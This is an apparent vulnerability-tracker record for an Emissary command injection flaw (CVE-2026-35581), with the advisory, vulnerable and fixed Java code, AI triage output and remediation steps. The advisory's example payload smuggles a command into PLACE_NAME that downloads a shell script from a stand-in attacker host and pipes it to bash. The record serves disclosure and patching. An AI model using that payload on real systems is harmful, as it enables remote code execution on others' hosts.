{"id":"CVE-2026-35581","kind":"vulnerability","aliases":["CVE-2026-35581","GHSA-6c37-7w4p-jg9v"],"related":[],"title":"Emissary has a Command Injection via PLACE_NAME Configuration in Executrix","description":"## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values — including the `PLACE_NAME` parameter — with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code — `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(' ', '_');\n// ONLY replaces spaces — shell metacharacters pass through\n```\n\n**Shell sink (line 1052–1058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n    return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n  access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww","summary":"Emissary's Executrix utility builds shell commands from the PLACE_NAME configuration value, replacing only spaces with underscores. Shell metacharacters pass through to /bin/sh -c, so an attacker who can set that config value runs arbitrary commands on the host.","severity":"high","cvss":7.2,"epss":0.00563,"exploited":false,"exploited_at":null,"products":[{"name":"gov.nsa.emissary:emissary","fixed":["8.39.0"],"affected":"< 8.39.0","ecosystem":"maven"}],"ecosystems":["maven"],"tags":["cwe-78","emissary","java","maven","package","self-hosted"],"not_affected_if":["no-untrusted-config-access","version-8.39.0-or-later"],"how_to_check":"- Check the Maven dependency `gov.nsa.emissary:emissary` version in the project's build file; affected if below `8.39.0`\n- Review configuration files for PLACE_NAME values containing characters other than letters, digits, underscores and hyphens","fix":"- `gov.nsa.emissary:emissary` moves to `8.39.0` or later (fixed in PR #1290, released in 8.39.0)\n- Workaround from the advisory if upgrading is not immediately possible: restrict PLACE_NAME values to alphanumeric characters, underscores and hyphens","status":"open","published_at":"2026-04-08T00:12:50+00:00","first_seen_at":"2026-11-04T22:17:42+00:00","triaged_at":"2026-11-04T22:18:56+00:00","updated_at":"2026-11-04T22:18:56+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-04T22:18:56Z","model":"claude-haiku-5-5","output":{"fix":"- `gov.nsa.emissary:emissary` moves to `8.39.0` or later (fixed in PR #1290, released in 8.39.0)\n- Workaround from the advisory if upgrading is not immediately possible: restrict PLACE_NAME values to alphanumeric characters, underscores and hyphens","reach":"local","title":"Emissary: PLACE_NAME config value lets shell commands run on host","impact":"high","summary":"Emissary's Executrix utility builds shell commands from the PLACE_NAME configuration value, replacing only spaces with underscores. Shell metacharacters pass through to /bin/sh -c, so an attacker who can set that config value runs arbitrary commands on the host.","audience":"businesses","category":"package","nicknames":[],"who_cares":["java","maven","emissary","self-hosted"],"confidence":0.85,"fix_status":"available","needs_auth":"yes","worst_case":"Arbitrary command execution on the Emissary host as its process user","analyst_note":"","how_to_check":"- Check the Maven dependency `gov.nsa.emissary:emissary` version in the project's build file; affected if below `8.39.0`\n- Review configuration files for PLACE_NAME values containing characters other than letters, digits, underscores and hyphens","plain_action":"","needs_analyst":false,"not_affected_if":["version-8.39.0-or-later","no-untrusted-config-access"],"who_is_affected":"Teams that run Emissary and let configuration files or admins set PLACE_NAME. The advisory says exploitation requires control over configuration values, such as administrative access or a compromised configuration source. Deployments that never expose PLACE_NAME to untrusted input face lower risk.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.000837,"input_tokens":5226,"output_tokens":628,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':13A,21A '-35581':14A,22A '-78':26B '/bin/sh':57B,110C,147C,205C '/nationalsecurityagency/emissary/pull/1290)':397C '/nationalsecurityagency/emissary/pull/1290),':264C '/shell.sh':215C,225C '0':151C '1':158C '1052':135C '1058':136C '1290':261C,389C '132':121C '2':167C '3':177C '4':189C '5':199C '6c37':17A '7w4p':18A '8.39.0':268C '9':290C,305C 'a-za-z0':286C,301C 'abil':244C 'access':251C 'add':343C 'administr':250C 'allow':102C 'allowlist':278C,394C 'alphanumer':382C 'appli':169C 'arbitrari':69B,235C 'at-sign':358C 'attack':61B 'attacker.com':214C 'attacker.com/shell.sh':213C 'backslash':353C 'bash':216C,226C 'build':38B 'c':58B,111C,143C,148C,150C,155C,206C 'caret':356C 'cd':152C 'char':299C 'charact':283C,383C 'class':78C 'cleanplacenam':309C 'code':116C 'command':4A,40B,70B,81C,112C,197C,201C,236C,339C 'compromis':254C 'concaten':83C,193C 'config':66B 'configur':9A,45B,85C,165C,247C,255C,327C,378C 'configuration-deriv':84C 'construct':79C,183C 'contain':380C 'control':246C 'curl':212C 'curl_attacker.com':224C 'curl_attacker.com/shell.sh':223C 'cve':12A,20A 'cwe':25B 'data':156C 'deriv':86C 'detail':114C 'dir':154C,188C,191C 'directori':185C 'dollar':351C 'dot':349C 'e.g':249C 'emissari':1A,27B,34B,240C 'emissary':24A 'ensur':318C,371C 'etc':105C 'exampl':207C 'execut':113C,203C,237C 'executrix':11A,36B,76C,168C 'executrix.java':117C 'file':166C,379C 'final':141C,294C,310C 'fix':258C 'flow':157C 'gettimedcommand':140C 'ghsa':16A,401C 'ghsa-6c37-7w4p-jg9v':15A 'ghsa-wjqm-p579-x3ww':400C 'github.com':263C,396C 'github.com/nationalsecurityagency/emissary/pull/1290)':395C 'github.com/nationalsecurityagency/emissary/pull/1290),':262C 'gov.nsa.emissary':23A 'hash':350C 'host':33B,73B,241C 'hyphen':386C 'immedi':369C 'impact':234C 'includ':88C 'inject':5A 'insuffici':94C,118C 'invalid':296C 'invalid_place_name_chars.matcher':314C 'java':28B,122C,137C,291C 'jg9v':19A 'line':120C,134C 'match':285C 'maven':29B 'merg':265C 'metacharact':53B,104C,129C,232C,322C 'name':8A,44B,91C,160C,210C,298C,326C,374C 'new':145C 'origin':220C,398C 'p579':403C 'packag':30B 'paramet':92C 'parenthes':347C 'pass':54B,107C,130C 'path':186C 'pattern':295C 'pattern.compile':300C 'payload':208C 'pipe':229C 'place':7A,43B,90C,159C,209C,297C,325C,373C 'placenam':179C,312C,315C,391C 'possibl':370C 'pr':260C,388C 'preserv':233C 'protect':138C,292C,306C 'quot':354C 'reach':337C 'read':162C 'refer':387C 'regex':279C 'releas':267C 'remedi':257C 'replac':47B,99C,126C,176C,273C,275C,330C 'replaceal':316C 'report':399C 'requir':242C 'return':144C,313C 'run':68B 'sanit':95C,119C,221C,363C 'self':32B 'self-host':31B 'semicolon':228C,355C 'set':64B 'shell':39B,52B,80C,103C,128C,132C,196C,321C 'sign':352C,360C 'sink':133C 'slash':348C 'sourc':256C 'space':49B,97C,127C,173C,271C 'space-on':270C 'space-to-underscor':172C 'static':293C,307C 'string':139C,142C,146C,198C,308C,311C,340C 'strip':281C 'summari':74C 'temporari':184C 'test':211C,222C,341C 'this.placename':123C 'this.placename.replace':124C 'tmpname':153C,187C,190C 'ulimit':149C 'underscor':51B,101C,175C,333C,384C 'upgrad':366C 'use':181C 'util':37B,77C 'valid':390C 'valu':46B,67B,87C,248C,328C,375C 'verifi':345C 'via':6A,204C 'vulner':115C 'wjqm':402C 'workaround':364C 'x':217C,227C 'x3ww':404C 'z0':289C,304C 'za':288C,303C","nicknames":[],"mitigations":[],"who_affected":"Teams that run Emissary and let configuration files or admins set PLACE_NAME. The advisory says exploitation requires control over configuration values, such as administrative access or a compromised configuration source. Deployments that never expose PLACE_NAME to untrusted input face lower risk.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["govnsaemissaryemissary"],"ptokens":["emissary","gov","nsa"],"labels":["cwe78","emissary","high","java","maven","package","selfhosted"],"campaign_type":null,"first_public_at":"2026-04-08T00:12:50+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-6c37-7w4p-jg9v","url":"https://github.com/advisories/GHSA-6c37-7w4p-jg9v","severity":"high","published_at":"2026-04-08T00:12:50+00:00","modified_at":"2026-11-04T22:10:23+00:00","first_seen_at":"2026-11-04T22:17:42+00:00","fetched_at":"2026-11-04T22:22:50+00:00","note":null}],"documents":[{"id":70918,"url":"https://api.github.com/repos/NationalSecurityAgency/emissary/security-advisories/GHSA-6c37-7w4p-jg9v","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":70919,"url":"https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":70920,"url":"https://github.com/NationalSecurityAgency/emissary/pull/1290","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":26403,"url":"https://github.com/NationalSecurityAgency/emissary/releases/tag/8.39.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[{"type":"epss","score":0.00563,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-35581"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}